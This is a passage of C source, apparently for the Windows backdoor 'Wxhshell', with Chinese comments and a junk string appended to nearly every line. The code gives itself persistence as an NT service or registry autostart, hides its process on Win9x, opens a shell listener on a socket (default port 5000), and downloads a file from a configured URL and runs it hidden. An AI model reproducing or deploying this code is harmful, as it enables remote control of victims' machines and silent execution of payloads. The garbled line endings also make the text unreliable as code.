DWORD BasePriority; N"}>);r
ULONG UniqueProcessId; 'y\Je7
ULONG InheritedFromUniqueProcessId; 2HtsSS#0Q
} PROCESS_BASIC_INFORMATION; ffG<hclk
~v%6*9
PROCNTQSIP NtQueryInformationProcess; tPQ|znB|
XHekz6_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;+<IWDo
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lhHH|~t0
5]>*0#C
S
HANDLE hProcess; N]w_9p~=1
PROCESS_BASIC_INFORMATION pbi; :~ pGHl
&EqLF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ez;Q o8
if(NULL == hInst ) return 0; [a04(
2g
U xBd14-R_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U3X5tED
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]:OrGD"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '|DW#l\n
q0NFz mG
if (!NtQueryInformationProcess) return 0; !\X9$4po@
R3~,&ab
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F%h3?"s
if(!hProcess) return 0; S3\NB3@qC&
se\f be ^0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1Z)Et,
|tGUx*NN
CloseHandle(hProcess); g}NO$?ndg
f`n4'dG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I.n,TJoz4J
if(hProcess==NULL) return 0; j{%;n40$
9B!Sv/)y!r
HMODULE hMod; _ocCt XI9
char procName[255]; J?9jD:x
unsigned long cbNeeded; +nE>)ZH
@|\9<S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n9'3~qVZ
/K#k_k
CloseHandle(hProcess); fOV_ >]u
t(u2%R4<d
if(strstr(procName,"services")) return 1; // 以服务启动 w*-42r3,'
`}EnY@*h
return 0; // 注册表启动 J#I RbO)
} /eI|m9ke
e$Ksn_wEq
// 主模块 .xN<<+|_v'
int StartWxhshell(LPSTR lpCmdLine) F\ B/q
{ %T({;/
SOCKET wsl; (`1io
BOOL val=TRUE; AELj"=RA
int port=0; o;$xN3f,
struct sockaddr_in door; P_(8+)ud-
+V4)><
if(wscfg.ws_autoins) Install(); 0k
(-
l7|z]v-
port=atoi(lpCmdLine); fz(YP=@ZnP
w:5?ofC
if(port<=0) port=wscfg.ws_port; V$?6%\M^*
MgeC-XQM
WSADATA data; -c_l
n K
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #`VAw ) eV
731Lz*IFg
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /6')B !&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e9{ii2M
door.sin_family = AF_INET; "wgPPop
door.sin_addr.s_addr = inet_addr("127.0.0.1"); "t0^4=c+7
door.sin_port = htons(port); M& ZKc
=A'>1N
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uu_qy(4
closesocket(wsl); }j/\OY _&
return 1; "*bLFORkq'
} s<!A<+Sh
r8EJ@pOF2w
if(listen(wsl,2) == INVALID_SOCKET) { L]=]/>jQ6
closesocket(wsl); Gdow[x
return 1; hIV9 .{J
} A%^?z.
Wxhshell(wsl); dcf,a<K\
WSACleanup(); SY,ns*>1F
Xh8U}w<k6
return 0; W>jKWi,{
m6i ,xn
} .#&)%}GC
V D#q\
// 以NT服务方式启动 I'5[8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -HF?1c
{ TzKM~a#
DWORD status = 0; sVh)Ofn
DWORD specificError = 0xfffffff; RvR.t"8
f&vMv.
serviceStatus.dwServiceType = SERVICE_WIN32; :Racu;xf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^]o
H}lwO
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -53c0g@X
serviceStatus.dwWin32ExitCode = 0; -|V#U`mwF
serviceStatus.dwServiceSpecificExitCode = 0; e#oK%
{A
serviceStatus.dwCheckPoint = 0; o33t~@ RX
serviceStatus.dwWaitHint = 0; 6w%n$tiX
N^QxqQ~
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k~)CJ6}
if (hServiceStatusHandle==0) return; #w''WOk@ZG
&<><4MQ
status = GetLastError(); ./I? |ih
if (status!=NO_ERROR) OG{*:1EP
{ 3FvVM0l"
serviceStatus.dwCurrentState = SERVICE_STOPPED; JL
{H3r&/S
serviceStatus.dwCheckPoint = 0; ^P,Pj z
serviceStatus.dwWaitHint = 0; #j Tkz
serviceStatus.dwWin32ExitCode = status; {>km]CG
serviceStatus.dwServiceSpecificExitCode = specificError; :?UcD_F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (c0L@8L
return; )"?'~ 5A
} s/ABT.ZO
fln[Q2zl
serviceStatus.dwCurrentState = SERVICE_RUNNING; H`M|B<.
serviceStatus.dwCheckPoint = 0; /,SVG1
serviceStatus.dwWaitHint = 0; GLIY!BU<C
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sSh." H
} 9qDM0'WuU
r\QV%09R
// 处理NT服务事件,比如:启动、停止 b~UWFX#U
VOID WINAPI NTServiceHandler(DWORD fdwControl) :2KPvp7?
{ ~0+<-T
switch(fdwControl) >-V632(/{o
{ aA$\iFYA
case SERVICE_CONTROL_STOP: ~rb]u
Ny-
serviceStatus.dwWin32ExitCode = 0; 48z%dBmTT*
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4IW
fp&Q!
serviceStatus.dwCheckPoint = 0; y_>DszRN`u
serviceStatus.dwWaitHint = 0; BEax[=&W
{ Y'000#+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UU(Pg{DA6
}
&3IkC(yD
return; eaO'|@;{~
case SERVICE_CONTROL_PAUSE: )a0l:jEOc
serviceStatus.dwCurrentState = SERVICE_PAUSED; i+5Qs-dHA
break; kIa16m
case SERVICE_CONTROL_CONTINUE: PZru:.Mh
serviceStatus.dwCurrentState = SERVICE_RUNNING; <o9i;[+H-
break; QDj%m %Xd
case SERVICE_CONTROL_INTERROGATE: :' 5J[]J
break; Z79 6;qk
}; _'mC*7+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ge({sy>X
} =}tomN(F~[
x~uDCbL
// 标准应用程序主函数 74N_> 1!j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x0)=jp '
{ .Y2Hd$rs
U]+I P;YS
// 获取操作系统版本 Kg~D~
+j
OsIsNt=GetOsVer(); ez9F!1
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;F-
mt( Y
prt(xr4@
// 从命令行安装 "6IZf>N@#
if(strpbrk(lpCmdLine,"iI")) Install(); -rYb{<;ST
Uc_}="
// 下载执行文件 uv-O`)
if(wscfg.ws_downexe) { MCTJ^ g"D
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F5+FO^3E
WinExec(wscfg.ws_filenam,SW_HIDE); x>mI$K(6M
} L'a+1O1q&i
ugXDnM[S%
if(!OsIsNt) { Q=%W-
// 如果时win9x,隐藏进程并且设置为注册表启动 UW} @oP$r
HideProc(); |AE{rvP{@
StartWxhshell(lpCmdLine); &/Gn!J;1
} l
x;87MDs
else )c*xKij
if(StartFromService()) <sm"3qs"_
// 以服务方式启动 CG@Fn\J
StartServiceCtrlDispatcher(DispatchTable); @1xVWSF
else P@G U2[1
// 普通方式启动 6/3E!8
StartWxhshell(lpCmdLine); j&/+/s9N
"CC"J(&a
return 0; &QD)1b[U
} t}I@Rmso
CV^%'HIs?+
`peR ,E
Oq% TW|a#
=========================================== S'$m3,l(k
9XQE5^
d])ctxB
{R63n
?[bE/Ya+S
2G-"HOG
" h#}w18l
$Yu'B_E6p
#include <stdio.h> jyF*JQjK4
#include <string.h> toDi70o
#include <windows.h> tboQn~&4
#include <winsock2.h> _IOUhMo
#include <winsvc.h> aB (pdW4
#include <urlmon.h> Hc<@T_h+2
M0C)SU5"
#pragma comment (lib, "Ws2_32.lib") <X{w^
cT_Q
#pragma comment (lib, "urlmon.lib") re%XaL
*szs"mQ/
#define MAX_USER 100 // 最大客户端连接数 4P)#\$d:
#define BUF_SOCK 200 // sock buffer Sn'!Nq>
#define KEY_BUFF 255 // 输入 buffer VFF5Tp
nG5\vj,zB
#define REBOOT 0 // 重启 4?@#w>(
#define SHUTDOWN 1 // 关机 cs\=8_5
:ln|n6X
#define DEF_PORT 5000 // 监听端口 s}Go")p<:
eLh35tw
#define REG_LEN 16 // 注册表键长度 z}-R^"40
#define SVC_LEN 80 // NT服务名长度 `EMGrw_
O^./)#!#
// 从dll定义API kk<%VKC
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t1
9f%d
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]<YS7.pT
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &